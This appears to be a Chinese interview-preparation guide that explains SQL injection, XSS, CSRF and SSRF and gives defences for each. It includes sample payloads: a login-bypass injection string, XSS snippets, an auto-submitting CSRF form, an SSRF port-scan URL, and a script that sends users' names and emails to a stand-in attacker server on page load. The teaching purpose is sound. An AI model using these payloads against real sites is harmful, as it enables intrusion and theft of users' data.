面试题概览:
- 说说看SQL注入原理以及如何防范?
- XSS漏洞有哪些种类?DOM型XSS和反射型XSS的区别是什么?如何防范XSS漏洞,在前端和后端分别应该怎么做?
- 什么是CSRF攻击?其成因及防御措施有哪些?如果不使用token,还有哪些解决方法?
- 说说看SSRF攻击的原理,能否举一个SSRF攻击的示例以及如何防范?
面试官:说说看SQL注入原理以及如何防范?
SQL注入的原理主要是基于Web应用程序对用户输入数据的处理不当。具体来说,当Web应用程序对用户输入的数据没有进行充分的验证、过滤或转义时,攻击者可以构造恶意的SQL语句,并将其插入到用户输入字段中,从而欺骗数据库服务器执行非授权的任意查询。
SQL注入的攻击过程
- 探测SQL注入点 攻击者首先会通过适当的分析应用程序,判断什么地方存在SQL注入点。通常,只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。
- 构造恶意SQL语句 一旦找到SQL注入点,攻击者就会构造恶意的SQL语句。这些语句可能包含特殊的SQL语法或函数,用于窃取、篡改或破坏数据库中的数据。
- 提交恶意输入 攻击者将构造好的恶意SQL语句提交到Web应用程序中。这通常是通过在输入字段中输入恶意代码来实现的。
- 数据库执行恶意SQL语句 由于Web应用程序对用户输入没有进行充分的验证和过滤,恶意SQL语句会被直接带入数据库查询并执行。这会导致数据库中的数据泄露或被篡改。
以下是一个典型的SQL注入攻击的例子,用于说明其在实际应用中的表现:
场景设定
假设有一个简单的用户登录页面,用户需要输入用户名和密码来登录系统。后台的登录验证SQL查询可能类似于:
SELECT * FROM users WHERE username='$username' AND password='$password'
其中, $username
和 $password
是用户通过登录表单输入的值。
攻击过程
如果攻击者在用户名和密码的输入框中输入了特殊构造的字符串,比如用户名输入为 ' OR '1'='1
,密码同样输入为 ' OR '1'='1
,那么后台的SQL查询就可能变为:
SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'
由于查询条件为真,这个查询会返回用户表中的所有记录。这意味着攻击者绕过了登录验证,可以进一步访问受保护的系统资源。
SQL注入的危害
SQL注入攻击的危害极大,它可能导致以下后果:
- 数据泄露 攻击者可以窃取数据库中的敏感数据,如用户密码、个人信息等。
- 数据篡改 攻击者可以修改数据库中的数据,导致数据不一致或损坏。
- 拒绝服务攻击 通过注入恶意的SQL语句,攻击者可以使数据库服务器过载或崩溃,从而拒绝合法用户的服务请求。
- 恶意代码执行 在某些情况下,攻击者还可以利用SQL注入漏洞在数据库服务器上执行危险的系统级命令。
SQL注入漏洞的防范措施
为了防止SQL注入攻击,可以采取以下措施:
- 使用参数化查询(PreparedStatement) 参数化查询是防止SQL注入最有效的方法之一。通过使用参数化查询,用户输入的数据不会被直接拼接到SQL语句中,而是作为参数安全地绑定。以下是示例:
import sqlite3
conn = sqlite3.connect('example.db')
cursor = conn.cursor()
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (user_input_username, user_input_password))
# 获取查询结果
rows = cursor.fetchall()
for row in rows:
print(row)
# 关闭连接
conn.close()
- 输入验证 对所有用户输入进行严格的验证和过滤。例如,可以限制用户名只能包含字母和数字,过滤掉可能导致SQL注入的特殊字符(如’、–、;等)。此外,还可以采用白名单策略,对于需要输入特定格式或范围的数据,进行严格的格式和范围验证。
- 最小权限原则 限制数据库用户的权限以减少攻击成功后的影响。应用程序应使用只具有查询和插入权限的用户连接数据库,而不是使用拥有删除或修改表结构权限的用户。
- 配置错误页面 避免向用户显示详细的错误信息,以免泄露数据库结构等敏感信息。应设置统一的错误处理机制,确保所有的错误都以通用信息呈现,不暴露任何内部细节。
- 定期审计和测试 定期对应用程序进行安全审计和渗透测试,及时发现和修复潜在的安全漏洞。可以使用自动化工具(如OWASP ZAP、Nikto等)进行安全扫描。
- 使用ORM框架 ORM(Object-Relational Mapping)框架如Hibernate、MyBatis等,可以有效地防止SQL注入,因为它们内部实现了安全的SQL构建机制。例如,在MyBatis中,可以使用#{}占位符来代替查询条件中的变量,从而避免SQL注入攻击。
- Web应用防火墙(WAF) WAF可以检测和阻止SQL注入攻击。通过分析请求的特征,WAF可以过滤掉包含潜在恶意代码的请求,从而增强应用程序的安全性。
面试官:XSS漏洞有哪些种类?DOM型XSS和反射型XSS的区别是什么?如何防范XSS漏洞,在前端和后端分别应该怎么做?
XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的Web安全漏洞,它允许攻击者在网页上注入恶意脚本代码。
XSS漏洞主要分为以下几种类型:
一、反射型XSS(非持久型XSS)
- 定义 反射型XSS是非持久性、参数型跨站脚本。其JS代码存在于Web应用的参数(变量)中,如搜索框。
- 特点 具有一次性,攻击代码不存储在服务器端。
- 存储位置 不存储到服务端(比如数据库中)。
- 攻击方式 攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据作为响应发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
以下是一个反射型XSS攻击的示例:假设有一个名为 example.com
的网站,该网站拥有一个搜索页面,其URL格式为 http://www.example.com/search?query=搜索词
。
攻击步骤
1. 构造恶意链接
攻击者构造了以下恶意链接:
http://www.example.com/search?query=<script>alert('XSS')</script>
在这个链接中,攻击者将恶意脚本 <script>alert('XSS')</script>
注入到了查询参数 query
中。
2. 诱导用户点击并触发XSS漏洞
攻击者通过各种方式(如电子邮件、社交媒体、即时通讯等)将恶意链接发送给目标用户,并诱导他们点击。
当目标用户点击恶意链接时,他们的浏览器会向 example.com
的服务器发送一个包含恶意脚本的HTTP请求。服务器接收到请求后,将查询参数中的恶意脚本作为响应返回给用户的浏览器。由于服务器没有对用户输入进行适当的过滤或转义,浏览器会解析并执行这段恶意脚本。
恶意脚本 <script>alert('XSS')</script>
会被执行,弹出一个警告框显示“XSS”。这只是一个简单的示例,实际的恶意脚本可能会执行更复杂的操作,如窃取用户的敏感信息、劫持会话、篡改页面内容等。
下面就是一个攻击者窃取其他用户个人信息并发送到攻击者自己远程服务器存储的XSS示例:
<script>
// 定义一个函数来窃取用户信息
function stealUserInfo() {
// 假设页面上有包含用户信息的元素,如用户名和电子邮件地址
var username = document.getElementById('username').value;
// 假设用户名字段的ID为'username'
var email = document.getElementById('email').value;
// 假设电子邮件字段的ID为'email'
// 构造一个包含用户信息的字符串
var userInfo = 'Username: ' + username + ', Email: ' + email;
// 创建一个新的XMLHttpRequest对象来发送数据到远程服务器
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker-server.com/store-user-info', true);
// 替换为攻击者自己的远程服务器URL
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('info=' + encodeURIComponent(userInfo));
}
// 触发窃取用户信息的函数,可以在页面加载时自动执行,或者通过某种事件触发
window.onload = stealUserInfo; // 页面加载时自动执行
// 或者,可以添加一个事件监听器来在特定事件发生时执行该函数
// document.getElementById('someElement').addEventListener('click', stealUserInfo);
</script>
二、存储型XSS(持久型XSS)
- 定义 存储型XSS是持久性跨站脚本,其持久性体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。
- 特点 攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。
- 存储位置 跨站代码存储于服务端。
- 攻击方式 如某用户在论坛发贴,如果论坛没有过滤用户输入的JavaScript代码数据,就会导致其他浏览此贴的用户的浏览器执行发贴人所嵌入的JavaScript代码。
以下是一个存储型XSS攻击的示例,以帮助理解这种攻击方式:假设有一个在线留言板应用程序,它允许用户发表留言并存储在服务器的数据库中。
攻击步骤
- 构造恶意留言:
攻击者构造了一条包含恶意JavaScript代码的留言,例如:
<script>alert('存储型XSS攻击!');</script>
这条留言的目的是在用户查看留言板时执行恶意脚本。然后攻击者将构造好的恶意留言提交到留言板应用程序中。由于应用程序没有对留言内容进行过滤或转义,恶意留言被成功存储到服务器的数据库中。
- 触发XSS漏洞:
当其他用户访问留言板并查看包含恶意留言的页面时,浏览器会解析并执行恶意脚本。在这个例子中,当用户查看留言板时,会弹出一个警告框显示“存储型XSS攻击!”。
三、DOM型XSS
- 定义 DOM型XSS是基于文档对象模型(Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新页面的DOM内容、结构和样式,处理后的结果能够成为显示页面的一部分。
- 特点 比较特殊,payload在浏览器本地修改DOM树而执行,并不会传到服务器上,比较难以检测。
- 存储位置 不涉及服务端存储,完全在客户端通过修改DOM结构来执行恶意脚本。
以下是一个DOM型XSS(跨站脚本)攻击的示例,以帮助理解这种攻击方式:假设有一个名为“ExampleSite”的网站,该网站包含一个用户输入内容的页面。攻击者利用该页面中的DOM型XSS漏洞来注入恶意脚本。
-
攻击步骤
- 发现漏洞:
在这个例子中,攻击者发现网站的一个页面没有对用户输入的内容进行适当的过滤或转义,而是直接将其插入到HTML DOM中。
- 构造恶意输入:
攻击者构造了一个包含恶意JavaScript代码的输入,例如:
<img src="#" onmouseover="alert('DOM型XSS攻击!')">
这段代码的目的是在用户将鼠标悬停在图片上时执行恶意脚本。
- 提交恶意输入:
攻击者将构造好的恶意输入提交到“ExampleSite”网站的相应页面中。由于网站没有对用户输入进行过滤或转义,恶意输入被直接插入到HTML DOM中。当其他用户访问该页面并将鼠标悬停在包含恶意输入的图片上时,浏览器会解析并执行恶意脚本。
如何防范XSS漏洞
前端防范措施
输入验证与过滤:
- 对用户输入的所有数据进行严格的验证,确保输入内容符合预期的格式和类型。
- 限制输入长度,防止过长的恶意脚本注入。
输出编码:
- 在将用户输入的数据显示在网页上之前,应对其进行适当的转义或编码。
- 将HTML特殊字符(如<,>,&,”,’)转换为对应的HTML实体(如<,>,&,”,’),以防止浏览器将这些字符误解为HTML标签并执行其中的恶意代码。
- 如果需要在JavaScript代码中嵌入用户输入或者输入用于URL参数,需要对特殊字符进行JavaScript编码,例如使用
encodeURIComponent
或encodeURI
函数。 - 如果用户输入用于CSS属性,可以使用
CSS.escape()
函数进行编码。
使用现代前端框架:
- 现代前端框架(如React、Vue、Angular等)通常会自动进行HTML编码,在React中,JSX会默认对用户输入进行转义。
设置内容安全策略(CSP):
- CSP是一种HTTP响应头,它允许网站管理员控制允许浏览器加载的资源,从而有效地减少XSS攻击。
- 开发者可以在HTTP响应头中设置Content-Security-Policy(CSP)来指定可信的内容来源,并限制外部资源的加载和执行。
限制Cookie的使用:
- 限制Cookie只能在HTTPS连接下使用,并使用HttpOnly标识确保Cookie不能通过JavaScript代码访问。
后端防范措施
输入验证与过滤:
- 在服务器端对用户输入进行验证和过滤,确保输入的数据符合预期的格式和内容。使用正则表达式或其他过滤函数来实现输入验证和过滤。
使用参数化查询:
- 通过使用预编译的SQL语句(如
PreparedStatement
),将用户输入的数据作为参数传递,而不是直接拼接到SQL语句中。
- 通过使用预编译的SQL语句(如
身份验证和授权:
- 确保只有经过身份验证的用户能够访问和执行相应的操作。
- 使用安全的身份验证机制,如密码哈希、令牌、多因素身份验证等。
面试官:什么是CSRF攻击?其成因及防御措施有哪些?如果不使用token,还有哪些解决方法?
一、CSRF攻击概述
CSRF(Cross-Site Request Forgery),即跨站请求伪造。攻击者利用用户在目标网站上已经认证的身份,在用户不知情的情况下,冒充用户发送非法请求,执行恶意操作。
二、成因
CSRF攻击之所以能够成功,主要基于以下几个原因:
- 用户已经在目标网站上登录并被认证 用户登录后,浏览器会保存相关的认证信息(如Cookie),攻击者可以利用这些信息冒充用户。
- 浏览器自动发送请求 当用户点击或访问包含恶意请求的URL或链接时,浏览器会带上你的cookie自动发送请求到目标网站。
- 目标网站未对请求进行足够的验证 如果目标网站没有采取必要的措施来验证请求的来源和合法性,就会误认为是用户自己发起的请求,从而执行恶意操作。
下面是一个CSRF攻击的示例:
假设有一个社交媒体平台(SocialMedia.com)。攻击者(Hacker)想要利用CSRF攻击来冒充用户执行恶意操作,如关注Hacker的账号或发布恶意状态。
Hacker可以创建一个恶意网站(MaliciousSite.com),并在其中嵌入一个隐藏的表单或利用JavaScript自动发送的请求。这个表单或请求的目标URL设置为SocialMedia.com的相关操作接口,如关注用户的接口或发布状态的接口。
Hacker可能会在恶意网站的HTML中嵌入如下代码:
<script>
// 假设受害者的SocialMedia.com用户名已经通过某种方式被Hacker获取
var victimUserId = "VictimUserID";
var hackerUserId = "HackerUserID";
// 构造关注请求的URL
var followUrl = "https://SocialMedia.com/follow?userId=" + hackerUserId;
// 自动发送关注请求
window.location.href = followUrl;
</script>
或者,如果SocialMedia.com的发布状态接口是一个POST请求,那么Hacker可能会创建一个隐藏的表单,并自动提交它:
<form id="maliciousForm" action="https://SocialMedia.com/postStatus" method="POST">
<input type="hidden" name="status" value="This is a malicious status posted by Hacker!">
<input type="hidden" name="userId" value="VictimUserID">
</form>
<script>
// 自动提交表单
document.getElementById("maliciousForm").submit();
</script>
当用户访问MaliciousSite.com时,隐藏的表单会自动提交或JavaScript会自动发送请求到SocialMedia.com的相关操作接口。由于用户已经在SocialMedia.com上登录并被认证,浏览器会自动发送包含用户认证信息的Cookie。SocialMedia.com无法区分这个请求是用户自己发起的还是Hacker伪造的,因此会执行关注Hacker的账号的恶意操作。
三、防御措施
使用Token
使用CSRF令牌(Token)是一种常见且有效的防御方法。具体步骤如下:
- 在每个用户请求中生成唯一的CSRF令牌。
- 将CSRF令牌嵌入到表单或URL中。
- 服务器在接收到请求时验证令牌的合法性,只有合法的令牌才会被执行。
其他防御方法(不使用Token)
除了使用Token外,还有以下防御方法:
验证HTTP Referer字段:
- 根据HTTP协议,Referer字段记录了该HTTP请求的来源地址。
- 网站可以验证每个请求的Referer字段,确保请求来自合法的来源。
- 但需要注意,Referer字段可能会被更改或伪造,因此这种方法并非完全可靠。
设置SameSite属性:
- 通过为Cookie设置SameSite属性为Strict或Lax,可以限制Cookie的发送,阻止跨站点请求。
- 当SameSite属性设置为Strict时,Cookie将仅在同一站点(不包括子域名)的请求中发送。
- 当SameSite属性设置为Lax时,Cookie将在同一站点和通过GET方法请求的资源(如图片、脚本等)的跨站点请求中发送。
使用HTTPS:
- 通过加密HTTP请求和响应,可以防止攻击者在网络传输过程中截获或篡改请求信息。
- HTTPS还可以防止中间人攻击和其他形式的网络攻击。
限制敏感操作:
- 对于重要的敏感操作(如转账、修改密码等),要求用户进行额外的身份验证(如输入验证码、二次确认等)。这可以增加攻击者实施CSRF攻击的难度。
使用JSON API和AJAX请求:
- 使用JavaScript发起的AJAX请求默认是限制跨域的,这可以在一定程度上防止CSRF攻击。
- 如果API只接受JSON格式的数据,并且限制为只能由同源站点发起请求,那么攻击者就更难伪造跨站请求。
面试官:说说看SSRF攻击的原理,能否举一个SSRF攻击的示例以及如何防范?
SSRF(Server-Side Request Forgery,服务器端请求伪造)漏洞的原理主要基于应用程序对用户输入数据的不当信任。以下是SSRF漏洞原理的详细解释:
一、定义与背景
SSRF漏洞是一种安全漏洞,通常出现在Web应用程序中。攻击者通过构造恶意请求,将服务器内部的资源暴露给外部,或者利用服务器作为跳板攻击其他系统。
二、原理分析
用户输入控制:
- 应用程序允许用户控制某些请求的目标,例如通过URL参数、表单输入等方式指定要访问的资源。
验证与限制不足:
- 应用程序未对用户输入进行充分的验证和限制,导致攻击者可以构造特殊的请求,让服务器去访问不应该被公开访问的资源。
服务端请求伪造:
- 当应用程序收到用户提交的恶意请求时,它会作为代理服务器向目标地址发起请求。由于请求是由服务端发起的,因此服务端能够请求到与其相连而与外网隔离的内部系统资源。
敏感信息泄露:
- 如果目标地址是内部资源(如数据库、配置文件、私有API等),则攻击者可以获取这些敏感信息。此外,攻击者还可以利用这些信息进行进一步的攻击,如DDoS攻击、端口扫描等。
三、攻击场景与危害
访问内部资源:
- 攻击者可以构造恶意请求,使服务器访问内部资源,导致敏感数据泄露。
服务器端请求伪造:
- 攻击者可以利用SSRF漏洞构造恶意请求,让服务器代表自己执行网络请求,如攻击外部服务器、发起DDoS攻击等。
内网服务攻击:
- 由于内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,因此存在SSRF时,攻击者可以更容易地攻击内网服务。
以下是一个SSRF(服务器端请求伪造)攻击扫描端口的示例:假设存在一个存在SSRF漏洞的Web应用程序,该应用程序允许用户输入一个URL,并从该URL下载内容进行处理。攻击者想要利用这个漏洞来扫描目标服务器的开放端口。
假设目标服务器的IP地址是192.168.1.1,攻击者想要扫描该服务器的SSH端口(22),则可以构造如下URL:
http://vulnerable.com/endpoint?url=http://192.168.1.1:22
其中,vulnerable.com 是存在SSRF漏洞的应用程序,endpoint 是应用程序中存在漏洞的接口,?url是攻击者构造的恶意参数。
攻击者将构造好的恶意URL提交给存在SSRF漏洞的Web应用程序。根据响应结果,攻击者可以判断目标服务器的SSH端口是否开放。如果目标服务器的SSH端口开放,应用程序可能会等待响应,从而消耗服务器的资源。攻击者可以通过观察应用程序的响应时间或错误消息来判断端口是否开放。
在实际攻击中,攻击者可能需要尝试多个端口和协议,以发现目标服务器上的所有开放端口和服务。
四、防御措施
为了防范SSRF漏洞,应采取以下措施:
为了防范SSRF(Server-Side Request Forgery,服务器端请求伪造)攻击,开发者和安全人员可以采取以下措施:
- 限制请求域 只允许服务器向预定义的、安全的域名或IP地址发起请求。这可以通过配置白名单来实现,确保服务器只访问可信的外部资源。
- 使用白名单 严格实施URL白名单策略,对输入的地址进行严格的白名单验证。只允许访问特定的内部服务或外部资源,防止服务器访问不受信任的资源。
- 禁用不必要的协议 禁用一些可能引发安全风险的协议,如file://、gopher://等。这些协议可能被攻击者利用来访问本地文件或执行其他恶意操作。
- URL解析和验证 对用户输入的URL进行严格的解析和验证,防止特殊字符的注入。使用安全的解析库和验证机制,确保URL的合法性和安全性。
- 网络隔离 通过网络隔离技术,限制服务器对内部网络的访问。这可以防止攻击者利用SSRF漏洞访问内部网络中的敏感资源。